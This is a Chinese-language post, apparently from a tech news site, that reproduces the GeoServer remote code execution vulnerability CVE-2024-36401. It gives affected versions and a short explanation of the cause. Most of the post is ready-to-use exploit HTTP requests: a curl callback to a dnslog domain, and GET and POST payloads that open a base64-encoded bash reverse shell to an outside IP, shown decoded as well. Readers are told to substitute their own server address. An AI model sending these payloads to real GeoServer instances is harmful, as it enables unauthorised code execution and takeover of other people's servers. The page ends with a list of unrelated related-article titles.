当前位置: 首页 > news >正文

GeoServer 远程代码执行漏洞 CVE-2024-36401

漏洞描述
GeoServer 是 OpenGIS Web 服务器规范的 J2EE 实现,利用 GeoServer 可以方便的发布地图数据,允许用户对特征数据进行更新、删除、插入操作。

在GeoServer 2.25.1, 2.24.3, 2.23.5版本及以前,未登录的任意用户可以通过构造恶意OGC请求,在默认安装的服务器中执行XPath表达式,进而利用执行Apache Commons Jxpath提供的功能执行任意代码。

影响版本

>= 2.24.0,< 2.24.4
>= 2.25.0,< 2.25.2
< 2.23.6

漏洞细节
GeoServer 调用的 GeoTools 库 API 会以不安全的方式将要素类型的属性名称传递给 commons-jxpath 库,该库在评估 XPath 表达式时可以执行任意代码。此 XPath 评估仅供复杂要素类型(即应用程序架构数据存储)使用,但也被错误地应用于简单要素类型,这使得此漏洞适用于所有GeoServer 实例。

复现

image

查看typeNames,必须存在

/geoserver/web/wicket/bookmarkable/org.geoserver.web.demo.MapPreviewPage?1&filter=false

image

构造POC,使用dnslog接收请求

POST /geoserver/wfs HTTP/1.1
Host: your-ip:port
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Length: 326<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"curl wlgx9u.dnslog.cn")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>

image
image

使用vps监听端口,反弹shell
image

构造POC
GET

GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNDguOTkuMTYwLzEyMzQ1IDA+JjE=}|{base64,-d}|{bash,-i}') HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0

POST

POST /geoserver/wfs HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356<wfs:GetPropertyValue service='WFS' version='2.0.0'xmlns:topp='http://www.openplans.org/topp'xmlns:fes='http://www.opengis.net/fes/2.0'xmlns:wfs='http://www.opengis.net/wfs/2.0'><wfs:Query typeNames='sf:archsites'/><wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNDguOTkuMTYwLzEyMzQ1IDA+JjE=}|{base64,-d}|{bash,-i}')</wfs:valueReference>
</wfs:GetPropertyValue>

base64的内容,将ip修改为你的服务器

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNDguOTkuMTYwLzEyMzQ1IDA+JjE=}|{base64,-d}|{bash,-i}
bash -c {echo,bash -i >& /dev/tcp/127.0.0.1/12345 0>&1}|{base64,-d}|{bash,-i}

成功getshell
image

http://www.agseo.cn/news/732/

相关文章:

  • 直播App源码功能大揭秘:主播PK、连麦互动与邀请奖励的技术与魅力
  • 这款开源调研系统越来越“懂事”了
  • qoj7511 Planar Graph
  • 【GitHub每日速递】从编程小白到造轮子高手,免费资源 + 实战指南全给你
  • Dev C++ 如何手动开大栈空间
  • qoj4808 Great Party
  • CF1725D Deducing Sortability
  • PHP 性能优化深度指南:那些被忽视的高效策略
  • 解密平台产品管理的核心技术思维
  • 集合框架2
  • [机器人] 产业研究之【人形机器人】
  • 因果图灵测试(Causal Turing Test, CTT),为判断AGI是否真正实现的唯一终极标准。
  • ECT-OS-JiuHuaShan在DeepSeek上的提示语
  • 强力漱囗液~西吡氯铵含漱液
  • 30条顶级APT与蓝队攻防单行命令:网络战场终极对决
  • github仓库推送拉取设置token
  • 你的部署流程已然落伍-热重启的失传艺术
  • 一次“连镜像都被 RST”的 GitHub push 填坑笔记
  • 分布式事务seata
  • 内容
  • 你的项目一团糟-不是你的错-是框架的锅
  • 【神器 Collection】mermaid:编程语言自动生成流程图
  • CF2138D
  • QBot - *--_
  • 222
  • 1111
  • Codeforces Round 1048 (Div. 2)
  • 为Unity开发者准备的虚幻引擎指南
  • mtgsig1.2 4.03 分析
  • 世界最顶级的游戏网络联机框架——NetCode for Entity